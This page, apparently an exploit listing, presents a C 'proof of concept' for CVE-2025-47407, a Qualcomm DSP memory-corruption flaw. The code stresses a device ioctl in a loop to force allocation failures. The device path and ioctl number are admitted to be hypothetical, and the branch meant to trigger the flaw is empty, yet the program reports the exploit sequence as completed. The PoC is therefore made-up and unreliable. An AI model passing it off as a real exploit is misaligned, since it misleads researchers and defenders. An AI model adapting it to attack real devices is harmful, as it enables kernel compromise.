CVE-2025-47407 Qualcomm DSP进程创建内存损坏漏洞

/* * Proof of Concept for CVE-2025-47407 * This code attempts to trigger memory corruption in Qualcomm DSP * by forcing allocation failures during process creation. * Note: This is a conceptual demonstration for educational purposes. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Hypothetical device and IOCTL definitions for DSP interaction #define DSP_DEVICE "/dev/msm_qdsp6_audio" #define IOCTL_DSP_CREATE_PROC 0x8001 int main() { int fd; printf("[*] Starting PoC for CVE-2025-47407\n"); // Open the DSP device interface fd = open(DSP_DEVICE, O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); return -1; } printf("[+] Device opened successfully (FD: %d)\n", fd); printf("[*] Attempting to trigger DSP process creation failure...\n"); // Loop to stress memory and trigger allocation failure for (int i = 0; i < 5000; i++) { // Invoke the IOCTL that triggers the vulnerable code path // Passing NULL or specific args may induce the allocation failure logic int ret = ioctl(fd, IOCTL_DSP_CREATE_PROC, NULL); if (ret != 0) { // Error handling path where the vulnerability might reside // If allocation fails here, kernel memory corruption could occur } } printf("[*] Exploit trigger sequence completed.\n"); close(fd); return 0; }